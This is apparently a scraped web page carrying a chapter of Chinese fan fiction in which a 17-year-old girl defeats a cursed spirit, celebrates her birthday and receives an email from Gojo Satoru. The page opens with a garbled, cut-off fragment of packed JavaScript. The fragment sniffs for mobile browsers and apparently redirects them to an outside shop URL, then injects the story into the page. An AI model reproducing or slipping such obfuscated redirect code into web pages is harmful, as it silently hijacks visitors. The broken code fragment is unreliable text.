l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609154|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻也没有多想,身体下意识动了起来,此刻心脏才慢半拍地狂跳起来,又惊愕又茫然,还混杂着微妙的成就感。 虽然看起来是一只很弱小的咒灵,但她毕竟是第一次亲手将它葬送,难免有些激动。 不枉她私下偷偷地练了三天的鞭法,以及每夜把笔记本电脑藏进被窝,在深夜里摸着黑反复钻研了一部部天朝功夫电影。 “羽、羽鸟同学?”远野君弱弱地出声,显然对一切不明所以,脸色被吓得苍白。 羽鸟真凛走近他,微微倾身而笑:“多余的事不要问,也不要说,不可以把关于我的任何事传出去,如你所见,我可是使用武器的一把好手。” 当然,有虚张声势的成分在里面。 “是、是,我什么也不知道!”远野忙不迭地应。 “对了,你刚刚说喜欢我什么来着?” “我……” 见男生支支吾吾组织不了语言,她利落地撂下他,头也不回地离开。 宴会进行到高潮时,作为寿星的羽鸟真凛在烛光前闭上双眼,许下愿望,吹灭蜡烛,宾客们的掌声与欢笑像潮水般高涨又快速退去,大厅很快又回到属于大人们虚荣势力的社交当中,一直持续到宴会散场。 目送着所有宾客全部离开后,宅邸重归寂静,羽鸟真凛才回到自己的卧室。 坐在梳妆台前,她放下盘了一整天的长发,卸掉脸上的妆容以及保持了整晚的完美微笑。 “累死了……” 礼服还未换下,她往床上躺去,将脸埋在柔软的枕头里,一动也不想动。 十七岁的生日就这样度过了。 母亲精心为她挑选的礼服很漂亮,宴会盛大得无可挑剔,公关部的成员们非常暖心,跟铃木集团的千金交上了朋友,还有自己所做的练切菓子大受好评,虽然她不清楚哪些赞美出自真心。总的来说,这是个值得开心的夜晚。 但如果非要说有什么遗憾的话…… 她在床上翻了个身,手指像是有自我意识般打开了手机,点到邮件界面,上一封她发出去的邮件还没收到回复。 对方大概是睡觉了吧,毕竟现在确实不早了,她瞥了眼手机界面右上角:23:00。 她也应该去洗个澡睡觉了。 正打算退出时,送信人“五条悟”的邮件界面上即刻间蹦出一条最新讯息—— 「你在家里吧?往庭院里看看。」